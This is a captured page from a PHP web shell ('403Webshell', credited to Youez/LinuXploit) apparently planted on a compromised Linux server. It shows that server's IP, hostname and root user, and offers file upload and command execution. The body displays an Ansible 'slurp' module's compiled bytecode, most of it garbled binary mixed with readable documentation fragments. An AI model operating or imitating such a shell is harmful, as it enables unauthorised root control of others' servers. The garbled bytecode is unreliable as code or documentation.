403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/slurp.cpython-312.pyc
�

1<�e���p�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlmZddl
mZd�Zed	k(re�yy)
�)�absolute_import�division�print_functiona�
---
module: slurp
version_added: historical
short_description: Slurps a file from remote nodes
description:
     - This module works like M(ansible.builtin.fetch). It is used for fetching a base64-
       encoded blob containing the data in a remote file.
     - This module is also supported for Windows targets.
options:
  src:
    description:
      - The file on the remote system to fetch. This I(must) be a file, not a directory.
    type: path
    required: true
    aliases: [ path ]
extends_documentation_fragment:
    - action_common_attributes
attributes:
  check_mode:
    support: full
  diff_mode:
    support: none
  platform:
    platforms: posix, windows
notes:
   - This module returns an 'in memory' base64 encoded version of the file, take
     into account that this will require at least twice the RAM as the original file size.
seealso:
- module: ansible.builtin.fetch
author:
    - Ansible Core Team
    - Michael DeHaan (@mpdehaan)
a!
- name: Find out what the remote machine's mounts are
  ansible.builtin.slurp:
    src: /proc/mounts
  register: mounts

- name: Print returned information
  ansible.builtin.debug:
    msg: "{{ mounts['content'] | b64decode }}"

# From the commandline, find the pid of the remote machine's sshd
# $ ansible host -m ansible.builtin.slurp -a 'src=/var/run/sshd.pid'
# host | SUCCESS => {
#     "changed": false,
#     "content": "MjE3OQo=",
#     "encoding": "base64",
#     "source": "/var/run/sshd.pid"
# }
# $ echo MjE3OQo= | base64 -d
# 2179
aW
content:
    description: Encoded file content
    returned: success
    type: str
    sample: "MjE3OQo="
encoding:
    description: Type of encoding used for file
    returned: success
    type: str
    sample: "base64"
source:
    description: Actual path of file slurped
    returned: success
    type: str
    sample: "/var/run/sshd.pid"
N)�
AnsibleModule)�	to_nativec	�l�tttdddg����d��}|jd}	t|d�5}|j	�}ddd�tj�}|j||d��y#1swY�3xYw#t
tf$r�}|jtjk(rd|z}nV|jtjk(rd	|z}n3|jtjk(rd
|z}ndt|d�
�z}|j|�Yd}~��d}~wwxYw)N�pathT)�type�required�aliases)�src)�
argument_spec�supports_check_moder
�rbzfile not found: %szfile is not readable: %sz,source is a directory and must be a file: %szunable to slurp file: %s�surrogate_then_replace)�errors�base64)�content�source�encoding)r�dict�params�open�read�IOError�OSError�errno�ENOENT�EACCES�EISDIRr�	fail_jsonr�	b64encode�	exit_json)�moduler�	source_fh�source_content�e�msg�datas       �7/usr/lib/python3/dist-packages/ansible/modules/slurp.py�mainr+\s��
���&�4�&��B�
�!�	�F��]�]�5�
!�F�
�
�&�$�
�	.�9�&�^�^�-�N�	.����N�+�D�
���T�&�8��D�!	.�	.���W��
��7�7�e�l�l�"�&��/�C�
�W�W����
$�,�v�5�C�
�W�W����
$�@�6�I�C�,�y��C[�/\�\�C��������
�s0�B�B�B�B
�	B�D3�B
D.�.D3�__main__)�
__future__rrrr
�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNrr�ansible.module_utils.basicr�+ansible.module_utils.common.text.convertersrr+�__name__��r*�<module>r7sQ��A�@��
�!�
�F��,
��$��4�A�E�:�z���F�r6

Youez - 2016 - github.com/yon3zu
LinuXploit